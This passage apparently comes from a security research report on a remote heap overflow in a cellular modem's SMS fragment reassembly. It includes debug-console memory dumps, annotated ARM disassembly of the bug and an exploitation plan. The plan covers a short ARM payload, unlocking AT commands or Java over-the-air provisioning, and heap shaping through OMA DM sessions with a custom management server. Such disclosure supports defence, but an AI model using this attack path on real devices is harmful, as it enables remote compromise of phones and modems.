00 00 00 00 00 00 ................ 83ba2788: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2798: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2808: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2818: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2828: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2838: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2848: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2858: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2868: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2878: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2888: 00 00 00 44 00 00 00 00 44 33 22 11 31 02 00 00 ...D....D3".1... 83ba2898: e0 55 aa 55 29 00 00 00 0c 00 00 00 01 00 00 00 .U.U)........... 83ba28a8: 08 00 00 00 00 02 1f 02 04 02 40 04 44 03 ef 81 ..........@.D... 83ba28b8: 44 33 22 11 29 00 00 00 e8 55 ea 55 39 00 00 00 D3".)....U.U9... 83ba28c8: 04 00 00 00 01 00 40 00 63 68 72 00 44 00 00 00 ......@.chr.D... 83ba28d8: 61 69 6c 2f 55 52 49 2f 4d 61 78 44 65 70 74 68 ail/URI/MaxDepth 83ba28e8: 00 44 00 00 00 00 00 00 44 33 22 11 39 00 00 00 .D......D3".9... 83ba28f8: d8 55 ea 55 29 00 00 00 04 00 00 00 01 00 40 00 .U.U).........@. 83ba2908: 63 68 72 00 44 00 00 00 00 00 00 00 00 00 00 00 chr.D........... 83ba2918: 44 33 22 11 29 00 00 00 00 56 aa 55 39 00 00 00 D3".)....V.U9... 83ba2928: 1c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2938: 58 dc e5 81 25 00 00 00 00 00 00 00 00 00 00 00 X...%........... 83ba2948: 00 00 00 00 44 62 30 ff 44 33 22 11 39 00 00 00 ....Db0.D3".9... 83ba2958: e0 56 aa 55 a9 00 00 00 8c 00 00 00 01 00 00 00 .V.U............ 83ba2968: 04 00 00 00 00 00 00 00 44 33 22 11 20 00 00 00 ........D3"..... ``` The `concatmem` is allocated upon reception of an SMS fragment if new reference id gets encountered. It's length follows this formula: ``` concatmem_size = 0xb1 * total_fragments ``` Thus, for 3 fragments, it's total length is 0x213. It's important to note that address 0x83ba2890 contains new heap chunk header (magic value `0x11223344`). It's header confirms (first word following the magic) that the preceding chunk is located `0x213` bytes before . Interesting things happen upon reception of arbitrary SMS fragment with a reference id corresponding to the sequence that is currently tracked by the global structure, but with a `total_fragments` field number higher than the one reflected in the global fragments reception state structure: ``` telcin> recvfrag -f 4/10 -i 1 -s fragment4 fragment 4/10, id 00000001 data 00000000: 66 72 61 67 6d 65 6e 74 34 fragment4 SMS - FirstOctet 00000000: 70 p - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 01 13 0f 00 14 04 ....... - UserData * hdr len 05 00000000: 00 03 01 0a 04 ..... * ud len (with hdr) 0f 00000000: 66 72 61 67 6d 65 6e 74 34 fragment4 OS MSG 00000000: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p...... 00000010: xx xx 00 14 17 01 13 0f 00 14 04 0f 05 00 03 01 ................ 00000020: 0a 04 66 72 61 67 6d 65 6e 74 34 ..fragment4 SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 ``` Displaying memory content confirms that this fragment was placed at location above the `concatmem` buffer: ``` telcin> dmem 0x83ba2678 0x300 83ba2678: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p...... 83ba2688: xx xx 00 14 17 01 13 0e 3b 2f 04 0f 05 00 03 01 ........;/...... 83ba2698: 03 01 66 72 61 67 6d 65 6e 74 31 00 00 00 00 00 ..fragment1..... 83ba26a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2708: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2718: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2728: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p..... 83ba2738: xx xx xx 00 14 17 01 13 0e 3a 27 04 0f 05 00 03 .........:'..... 83ba2748: 01 03 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2.... 83ba2758: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2768: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2778: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2788: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2798: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba27f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2808: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2818: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2828: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2838: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2848: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2858: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2868: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2878: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2888: 00 00 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 ...*....!.w.p... 83ba2898: xx xx xx xx xx 00 14 17 01 13 0f 00 14 04 0f 05 ................ 83ba28a8: 00 03 01 0a 04 66 72 61 67 6d 65 6e 74 34 00 00 .....fragment4.. 83ba28b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba28c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba28d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba28e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba28f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2908: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2918: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2928: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2938: 00 00 00 00 25 00 00 00 00 00 00 00 00 00 00 00 ....%........... 83ba2948: 00 00 00 00 44 62 30 ff 44 33 22 11 39 00 00 00 ....Db0.D3".9... 83ba2958: e0 56 aa 55 a9 00 00 00 8c 00 00 00 01 00 00 00 .V.U............ 83ba2968: 04 00 00 00 00 00 00 00 44 33 22 11 20 00 00 00 ........D3"..... telcin> ``` As a result, heap memory portion of a chunk adjacent to `concatmem` got overwritten. The root cause fot this bug lies in the following code: ``` ROM:8616DA06 loc_8616DA06 ; CODE XREF: agsr_store_fragment+AE↑j ROM:8616DA06 LDRH R0, [R4,#0x1A] ; saved ref id ROM:8616DA08 LDRB R1, [R5,#3] ; ref id ROM:8616DA0A CMP R0, R1 ROM:8616DA0C BEQ loc_8616DA36 ; BUG -> alloc gets skipped if ref id matches ROM:8616DA0C ; ROM:8616DA0C ; ROM:8616DA0C ; SMS1: refid, frag x, total frag = 5 ROM:8616DA0C ; SMS1: refid, frag 10, total frag = 20 <-- out of memory wite ? ROM:8616DA0E LDR R0, [R4,#0x24] ; fragments mem ROM:8616DA10 CMP R0, #0 ROM:8616DA12 BEQ loc_8616DA1E ; -> jump if no fragment mem has been allocated ROM:8616DA14 LDRB R1, [R7,#8] ; received fragments cnt ROM:8616DA16 CMP R1, #0 ROM:8616DA18 BEQ loc_8616DA1E ; total fragments ROM:8616DA1A BL agsr_wrap_UtaCmmMemoryFree ROM:8616DA1E ROM:8616DA1E loc_8616DA1E ; CODE XREF: agsr_store_fragment+C6↑j ROM:8616DA1E ; agsr_store_fragment+CC↑j ROM:8616DA1E LDRB R0, [R7] ; total fragments ROM:8616DA20 MOVS R1, #0xB1 ; max fragment length (assumption 0xb1 = 177) ROM:8616DA22 MULS R0, R1 ROM:8616DA24 BL agsr_wrap_UtaCmmMemoryAllocate ROM:8616DA28 CMP R0, #0 ROM:8616DA2A STR R0, [R4,#0x24] ; store pointer to fragments mem ROM:8616DA2C BEQ loc_8616DA6C ; -> error ROM:8616DA2E MOVS R0, #0 ROM:8616DA30 STRB R0, [R7,#8] ; received fragments cnt ROM:8616DA32 LDRB R0, [R5,#3] ; ref id ROM:8616DA34 STRH R0, [R4,#0x1A] ; saved ref id ROM:8616DA36 ROM:8616DA36 loc_8616DA36 ; CODE XREF: agsr_store_fragment+C0↑j ``` Upon reception of an SMS fragment, it's reference id is compared with the one that is currently maintained in the global structure. Upon the match, the code assumes that the fragment received is part of the ongoing SMS fragment reception sequence (not complete sequence). The code does not verify whether the received fragment id is within the bounds designated by the structure data (fragment id is only verifeid to be within the bounds designated by the total fragments value for the fragment itself). In other words, the code does not expect to receive a fragment with same referece id and with a total fragments value different than those currently being processed. As a result, one can send a fragment with an id that would be stored at a memory location given by this formula: ``` fragment_addr = concatmem + fragment_id * 0xb1 ``` With total fragments in the range of 1-255, one can theoretically adress `concatmem` within the range of `0xb04f` bytes (0xb1*0xff). #### INITIAL NOTES ON EXPLOITABILITY Ability to overwrite heap memory of a target device from a remote with user defined content carries a potential risk for a remote code execution. In practice this is not that straightforward as multiple conditions need to be met to achieve a state where execution flow gets redirected to code provided by an attacker. Below, some initial thoughts are given with respect to the key contsraints that need to be met with respect to the described heap overflow vulnerability. ##### CONTROL OVER DATA Control over data implicates that data written to the heap is under attacker control. In this case, the attacker has fair control over what is written to heap memory (SMS pdu content). ##### EXECUTABLE MEMORY Exploitation of memory corruption issues usually proceeds with the use of overwritten data, containing assembly code that gets executed at some point. Some systems may implement mitigations preventing execution of code stored in memory that is designated to store data. This is not the case here as heap memory is executable (data written to the heap could be executed as code - ISSUE 6). ##### EXPLOIT PAYLOAD Execution of an attacker provided asssembly code needs to lead to the device compromise. The following scenarios are both simple and should be sufficient to accomplish that: - exploit through ATSJMLED The assembly code might just proceed with the creation of `a:/ssh` directory. This directory indicates that `AT` commands are unlocked for `ATSJMLED` midlet (ISSUES 10 and 11 can be exploited for a reliable execution of AT commands on the device) - exploit through Java OTA application provisioning The assembly code might proceed with a creation of a `a:/cwmjava/Otap_AtParams.bin` that carries configuration for remote (over-the-air) provisioning of Java applications. This file is required to exist if remote provisioning is to be used (the file is usually created by `AT^SJOTAP` command, which servers as a good starting point for reversing its format too). Upon reception of a specially crafted SMS message (pid `0x7d` and data starting with a magic string `OTAP_IMPNG`), the device can be instructed from the remote to start the provisioning process. With proper configuration in place, this provisioning process can proceed with the use of attacker's designated server (from which `.JAD` describing Java application to install is fetched). It is worth to mention, that both of the above scenarios are not demanding from a point of view of the size of the exploit payload. They just require a sequence of a few (file open, and write) `UtaOs` calls to occur. As such, the exploit payload might even fit within the SMS PDU itself (~140 bytes SMS binary user data). Only a few instructions are needed for a directory creation in a target device environment: ``` _create_dir: .word 0x8617B4AD _dir_name: .ascii "F:/roota/ssh" .align 4 _skip: push {lr} adr r0,_dir_name adr r4,_create_dir // load dir creation subroutine ldr r4,[r4] .align 4 blx r4 // call it nop pop {pc} // pop registers and return end: .align 4 .word MAGIC_END ``` ##### TRIGGER FOR AN EXECUTION FLOW CHANGE Once attackers code is successfully deployed to target device memory, one needs a mechanism to transfer code execution flow to it. For heap based memory corruptions, such as transfer could be accomplished by the means of an overwrite of a code pointer held on the heap. Such an overwritten pointer can divert execution to arbitrary address upon use (a call through it). ###### NOTES ON HEAP EXPLOITATION Overwrite of an arbitrary pointer for code execution purposes requires additional conditions to be met. Most importantly, the heap block used to perform the overwrite (the one with SMS fragments data) needs to precede the block with a pointer in the heap layout. This also implicates that there needs to be a free block ready to accomodate at least 2 SMS fragments. As 0xb1 bytes get allocated for one fragment, this means that a free block of around 0x180 bytes (0xb1*2 aligned with extra 0x18 bytes for chunk header) needs to be available for allocation. A brief analysis of heap state indicates that such blocks (holes) are available (the state for a device with SIM card inserted and all LEDs set to green). The output below shows free blocks with a size greater than `0x180`: ``` telcin> heapstate -p 0x81df46d8 -f f,>0x180 [HEAP STATE] code: 0x81e5d5a0 buf: 0x83bd2268 size: 0x0000ff24 (5443) [087f] 0x81e83d10 size 0x00001090 free [0887] 0x81e85478 size 0x00000498 free [0892] 0x81e86038 size 0x00000220 free [08a0] 0x81e865b8 size 0x00000650 free [144b] 0x83ba6058 size 0x00000bd0 free [1480] 0x83ba9180 size 0x00000328 free [148c] 0x83baa5f0 size 0x00000318 free [1496] 0x83baabf8 size 0x00000208 free [14b5] 0x83bacc88 size 0x00000208 free [14bb] 0x83bad360 size 0x00000208 free [151d] 0x83bb4cc0 size 0x00001010 free [152a] 0x83bd07c8 size 0x000004d8 free [152c] 0x83bd0d08 size 0x000003d0 free [1541] 0x83bf5688 size 0x001fe548 free TOTAL free: 002033c0 TOTAL alloc: 00000000 telcin> heapstate -p 0x81df46d8 -f f,>0x180 [HEAP STATE] code: 0x81e87460 buf: 0x83bd2268 size: 0x0000ff60 (5448) [08a4] 0x81e85a48 size 0x00000318 free [08a8] 0x81e86038 size 0x00000220 free [08cd] 0x81e87168 size 0x00000208 free [1420] 0x83b9f980 size 0x00000428 free [1478] 0x83ba6de8 size 0x00000520 free [149f] 0x83ba9180 size 0x00000208 free [14be] 0x83baaf70 size 0x00000398 free [14c5] 0x83bab7f0 size 0x00000ea0 free [14ca] 0x83baca18 size 0x00000438 free [1516] 0x83bb04c0 size 0x00001090 free [151c] 0x83bb6790 size 0x000013b0 free [1526] 0x83bd0070 size 0x00000c30 free [1546] 0x83bf6298 size 0x001fd938 free TOTAL free: 002032a8 TOTAL alloc: 00000000 ``` The other requirement is that there are allocated heap chunks holding pointer to code. Most code pointers denote the `0x86000000` address space. Thus, a search for such a pattern in the heap can reveal them: ``` telcin> heapstate -p 0x81df46d8 -m 0x86000000/0xff000000 [HEAP STATE] code: 0x83ba78d0 buf: 0x83bd2268 size: 0x00001efc (661) [0000] 0x81df46f0 size 0x0000003c busy [0001] 0x81df4910 size 0x00000020 busy [0002] 0x81df4a98 size 0x00000064 busy [0003] 0x81df4c48 size 0x00000020 busy [0004] 0x81df4cd8 size 0x00000084 busy [0005] 0x81df4db0 size 0x00000020 busy [0006] 0x81df4de8 size 0x00000020 busy [0007] 0x81df4e20 size 0x0000003c busy [0008] 0x81df4e78 size 0x0000003c busy [0009] 0x81df4ed0 size 0x0000003c busy [000a] 0x81df4f28 size 0x0000003c busy [000b] 0x81df4f80 size 0x0000003c busy [000c] 0x81df4fd8 size 0x0000003c busy [000d] 0x81df5030 size 0x0000003c busy [000e] 0x81df5088 size 0x0000003c busy [000f] 0x81df9650 size 0x0000003c busy [0010] 0x81df9810 size 0x0000003c busy [0011] 0x81df9868 size 0x0000003c busy [0012] 0x81df98c0 size 0x00000010 busy [0013] 0x81df98e8 size 0x00000010 busy [0014] 0x81df9910 size 0x0000003c busy [0015] 0x81df9970 size 0x0000001c busy [0016] 0x81df99a8 size 0x00000024 busy [0017] 0x81e05818 size 0x00000084 busy [0018] 0x81e058b8 size 0x00000020 busy [0019] 0x81e0ace0 size 0x00000020 busy [001a] 0x81e0c148 size 0x0000007c busy [001b] 0x81e0c1e0 size 0x00000048 busy [001c] 0x81e0c240 size 0x00000098 busy ... ``` One would need to achieve the following: - alloc one of the free holes for `concatmem`, - overwrite a code pointer in one of the following blocks. The problem with the approach of hitting an existing hole (free block) in the heap so that it would precede a given code pointer block is quite unpredictable. The heap state seems to be quite "saturated". This means, that there is not much space left for predictable allocations (free blocks / holes that would remain free across time). The only such block is the one at the end of the heap... This leads to the scenario that has a potential to be more successful - the one where all allocations are conducted from the end of the heap. The idea is the following: - saturate the heap completely, so that any new allocations need to be done from the last free chunk (the largest one), - proceed with a controlled sequence of allocations, as a result a sequence of chunks gets allocated (one for SMS fragments, the other following it for a code pointer). The above requires a mechanism for controlled heap allocation (allocation of memory with a given size). At least one mechanism for such allocation exist: - memory allocation for WDP fragmanets. This might not be sufficient though (a support for a maximum of 0x10 fragments is implemented). The potential helper may come in the form of OMA DM feature. OMA DM security bypass could be exploited to establish a management session with a target device. OMA DM management makes it possible to set (create?) new node values in the OMA DM tree. OMA DM tree is stored in a dynamic manner on the heap. If set operations directly correspond to memory allocations, one might end up with a mechanism of a controlled heap allocation. This is a potentially a viable scenario taking into account OMA DM implementation in use which relies on `set` management function (`AttPluginDMAccPrvSetACL`) allocating ACL string of arbitrary (provided in the packet) length: ``` ROM:86BD1B60 sub_86BD1B60 ; CODE XREF: agsr_AttPluginDMAccPrvSetACL+28↓j ROM:86BD1B60 ; agsr_IuiOmadmPluginConfig+5C↓p ROM:86BD1B60 PUSH {R4-R8,LR} ROM:86BD1B64 MOVS R4, R2 ROM:86BD1B68 MOV R5, R0 ROM:86BD1B6C CMPNE R5, #0 ROM:86BD1B70 MOV R7, R1 ROM:86BD1B74 MOV R6, #0x194 ROM:86BD1B78 BEQ loc_86BD1BD8 ROM:86BD1B7C ADR R0, aOmadmClientAtt_7 ; "OMADM_CLIENT: AttPluginMoSetACLDMAcc fu"... ROM:86BD1B80 BLX agsr_log ROM:86BD1B84 MOV R2, #1 ROM:86BD1B88 MOV R1, R5 ROM:86BD1B8C MOV R0, R4 ROM:86BD1B90 BL agsr_omadm_acc_find_node ROM:86BD1B94 MOVS R4, R0 ROM:86BD1B98 BEQ loc_86BD1BD0 ROM:86BD1B9C MOV R5, #0 ROM:86BD1BA0 CMP R7, #0 ROM:86BD1BA4 MOV R6, R5 ROM:86BD1BA8 BEQ loc_86BD1BC0 ROM:86BD1BAC MOV R0, R7 ROM:86BD1BB0 BL agsr_omadm_strdup ROM:86BD1BB4 MOVS R5, R0 ROM:86BD1BB8 MOVEQ R6, #0x1A4 ROM:86BD1BBC BEQ loc_86BD1BD0 ROM:86BD1BC0 ROM:86BD1BC0 loc_86BD1BC0 ; CODE XREF: sub_86BD1B60+48↑j ROM:86BD1BC0 LDR R0, [R4,#0x10] ROM:86BD1BC4 CMP R0, #0 ROM:86BD1BC8 BLNE agsr_OmadmFree ROM:86BD1BCC STR R5, [R4,#0x10] ROM:86BD1BD0 ROM:86BD1BD0 loc_86BD1BD0 ; CODE XREF: sub_86BD1B60+38↑j ROM:86BD1BD0 ; sub_86BD1B60+5C↑j ROM:86BD1BD0 MOV R0, R6 ROM:86BD1BD4 POP {R4-R8,PC} ``` The remaining puzzle is related to the allocation of a memory chunk holding code pointers. It could be that such a block would appear on the heap anyway such as a timer object (timer objects embed a code pointer inside it). It might be that OMA DM struc pointer could be allocated / freed on demand too as a response to OMA DM session establishment and close. The OMA DM struc is not allocated by default: ``` telcin> dmstruc OMADM tree: 0x81ede8d0 not initilized ``` This structure is allocated upon a trigger to establish a DM session: ``` telcin> recvdmmsg -n Cingular SMS - FirstOctet 00000000: 74 t - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 01 13 0a 15 37 04 .....7. - UserData * hdr len 06 00000000: 05 04 11 22 33 44 ..."3D * ud len (with hdr) 2d 00000000: 01 06 03 c4 af 87 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 02 d8 00 00 00 12 34 08 43 69 ............4.Ci 00000020: 6e 67 75 6c 61 72 ngular - DM Push * transaction_id 01 * PDU type 06 * headers c4 af 87 - DM Data * digest 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * version 0b * UImode 01 * initiator 01 * future_use 00 * server_id Cingular OS MSG 00000000: 48 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx H....!.w.t...... 00000010: xx xx 00 14 17 01 13 0a 15 37 04 2d 06 05 04 11 .........7.-.... 00000020: 22 33 44 01 06 03 c4 af 87 00 00 00 00 00 00 00 "3D............. 00000030: 00 00 00 00 00 00 00 00 00 02 d8 00 00 00 12 34 ...............4 00000040: 08 43 69 6e 67 75 6c 61 72 .Cingular SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 telcin> dmstruc OMADM tree: 0x81ede8d0 struc addr: 0x81e84c80 ptr table: 0x81e852c8 telcin> memory device MEMORY MODE: device telcin> dmem 0x81e852c8 81e852c8: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................ 81e852d8: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................ 81e852e8: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D........... 81e852f8: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8........... 81e85308: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X............... 81e85318: 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 00 ....D.......D... 81e85328: 44 33 22 11 79 00 00 00 70 57 aa 55 f1 00 00 00 D3".y...pW.U.... 81e85338: d4 00 00 00 01 00 00 00 44 52 48 54 03 00 00 00 ........DRHT.... 81e85348: 6c 29 bb 83 60 ea ba 83 5b 2a bb 83 fc 3f 00 00 l)......[*...?.. 81e85358: 00 00 00 00 00 00 00 00 40 53 e8 81 40 53 e8 81 ........@S..@S.. 81e85368: d3 05 00 00 00 54 e8 81 69 00 00 00 05 00 00 00 .....T..i....... 81e85378: 00 00 00 00 00 00 00 00 69 00 00 00 00 00 00 00 ........i....... 81e85388: c4 27 be 86 20 e4 a2 70 ff ff ff ff 00 00 00 00 .'.....p........ 81e85398: d4 98 37 86 40 53 e8 81 00 00 00 00 00 00 00 00 ..7.@S.......... 81e853a8: 00 00 00 00 80 9f 37 86 30 54 e8 81 40 53 e8 81 ......7.0T..@S.. 81e853b8: 40 53 e8 81 00 00 00 00 38 2a bb 83 00 00 00 00 @S......8*...... ``` If multiple OMA DM sessions could be established, this would increase the chances of filling memory with code pointers following `concatmem`. It is worth to mention that heap exploitation could theoretically proceed with the use of arbitrary write operation triggered at the time of chunk management operation. Each heap chunk embeds information about the offsets (not pointers!) to `next` and `prev` heap blocks (either allocated or free): ``` telcin> malloc 0x20 res: 0x81eeae60 telcin> ptrinfo 0x81eeae28 [0x81eeae28] start: 0x81eeae10 size: 0x00000038 alloc_size: 0x00000020 left: 0x00000000 prev: 0x81eeade0 [0x81eeadf8] next: 0x81eeae48 [0x81eeae60] telcin> ptrinfo 0x81eeae60 [0x81eeae60] start: 0x81eeae48 size: 0x00000038 alloc_size: 0x00000020 left: 0x00000000 prev: 0x81eeae10 [0x81eeae28] next: 0x81eeae80 [0x81eeae98] telcin> dmem 0x81eeae10 81eeae10: 44 33 22 11 31 00 00 00 04 56 aa 55 39 00 00 00 D3".1....V.U9... 81eeae20: 20 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae40: 00 00 00 00 00 00 00 00 44 33 22 11 39 00 00 00 ........D3".9... 81eeae50: 04 56 aa 55 39 00 00 00 20 00 00 00 01 00 00 00 .V.U9........... 81eeae60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae80: 44 33 22 11 39 00 00 00 e0 55 aa 55 29 00 00 00 D3".9....U.U)... 81eeae90: 0c 00 00 00 01 00 00 00 08 00 00 00 00 02 1f 02 ................ 81eeaea0: 04 02 40 04 44 c2 e5 80 44 33 22 11 29 00 00 00 ..@.D...D3".)... 81eeaeb0: 14 56 aa 55 49 00 00 00 20 00 00 00 01 00 00 00 .V.UI........... 81eeaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeaee0: 44 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 D...D...D....... 81eeaef0: 44 33 22 11 49 00 00 00 08 56 aa 55 41 00 00 00 D3".I....V.UA... 81eeaf00: 1c 00 00 00 01 00 00 00 34 6d 34 87 0a 00 0a 03 ........4m4..... ``` These offsets are used to locate adresses of `prev` and `next` blocks whenever their state requires update. Theoretically, a heap chunk could be corrupted (as a result of the overwrite) in such a way, so that it would indicate a next free block to alloc designating target memory to overwrite (such as a fixed area containing code pointers). The idea is to trigger memory allocation in such a way, so that a pointer to given memory address is returned (subject to an overwrite). An interesting approach involves OMA DM WDP fragments handling as these seem to allow for a controlled malloc and free operations (up to 0x10 fragments / heap blocks). All of the above information implicates a need for a more detailed research aimed at the verification if heap state can be controlled in such a way that an arbitrary pointer overwrite condition could be achieved in the environment of a target device. Such a work should be conducted in order to make a credible claim regarding exploitability of ISSUE 18 (whether this is an issue of critical nature or a DoS). #### EXPLOIT SCENARIO Taking into account SMS fragmentation vulnerability specifics along target device heap implementation details, the following scenario (exploitation steps) has been considered as a candidate for a successful exploitation of Issue 18. - establish OMA DM session with attacker's server (through OMA DM provisioning that changes server URL, then through OMA DM notification / bootstrap msg) - use the OMA DM session to change ACL for `./DMS` node, so that arbitrary nodes can be created (`"Add=*"` perm) - fill all holes in the heap, so that any new memory gets allocated from the largest free chunk (the last heap chunk) in order to accomplish arbitrary memory allocations, add new nodes to the `./DMS` node (all as part of OMA DM session), use `ADD` SyncML Protocol Management and Command Elements command for that purpose - add special sequence of nodes to `./DMS`, the goal is to obtain the following heap layout: ``` HEAP START ... Java VM pool ... dummy_chunk_seq1 (node_seq A) chunk_size_0xb1*4 (node B) <-- the goal is to have this to be allocated for SMS concatmem dummy_chunk_seq2 (node_seq C) FREE chunk_size_x54 (node D) <-- the goal is to have this to be allocated for SyncML callbacks structure (with pointers that correspond to the GET, ADD, ALERT, etc. cmds) ... HEAP END ``` - start new OMA DM session (the goal is to have the SyncML callbacks structure to be alocated in the memory occupied by node D, - send the "exploit" (overflow) SMS fragment of which goal is to overwrite a single (such as an ALERT callback or all pointers of the SyncML callback structure) The key here is the following: - significant control over heap layout (through arbitrary alloc / free operations that correspond to the ADD / REPLACE SyncML commands) - the possibility to fill heap with arbitrary data, - control over when SyncML callbacks structure is allocated / freed - control when `concatmem` for SMS fragments is allocated #### CUSTOM OMA DEVICE MANAGEMENT (DMS) SERVER In order to verify the exploit scenario depicted above a simple OMA DM management server was developed. The goal was to be able to send arbitrary SyncML commands to the device for "heap shaping". The code for DMS server is available in `dmsserver` directory. It implements some scripting commands that facilitate building and testing of SyncML messages sent to a target device too. Scripting SyncML operations helped in figuring out the order and structure of the commands that could result in a "predictable" and desired heap layout on a target device. ##### SCRIPTING COMMANDS The following scripting commands have been implememnted by DMS server code that lead to the specific SyncML command output: - get value for a node identified by given uri ``` get uri ``` - get ACL property for a node identified by given uri ``` getacl uri ``` - set ACL property for a node identified by given uri ``` setacl uri acl ``` - add new node to OMA DM tree, the node is identified by a given uri, the data is specified by format and type ``` add uri format type data ``` - replace data for a node identified by given uri ``` replace uri data ``` - issue a sequence of ADD operations under `./DMS/` branch, the id identifies the prefix for generated nodes, the cnt specifies their initial number and the mod value makes it possible to issue commands for nodes that match the mod specifier (for nodes matching modulo node id condition only) ``` addseq id cnt data mod ``` - a command similar to the `addseq` command, the command makes it possible to issue a sequence of ADD command pairs (2 ADD commands at once with data specified for each of them) ``` add2seq id cnt data1 data2 mod ``` - an extension of `addseq` command where each ADD command is followed by the SyncML command for ACL property initialization (ACL is NULL by default for new nodes) ``` addwaclseq id cnt data mod ``` - issue a sequence of REPLACE operations under `./DMS/` branch, the id identifies the prefix for generated nodes, the cnt specifies their initial number and the mod value makes it possible to issue commands for nodes that match the mod specifier (for nodes matching modulo node id condition only) ``` replseq id cnt data mod ``` - issue 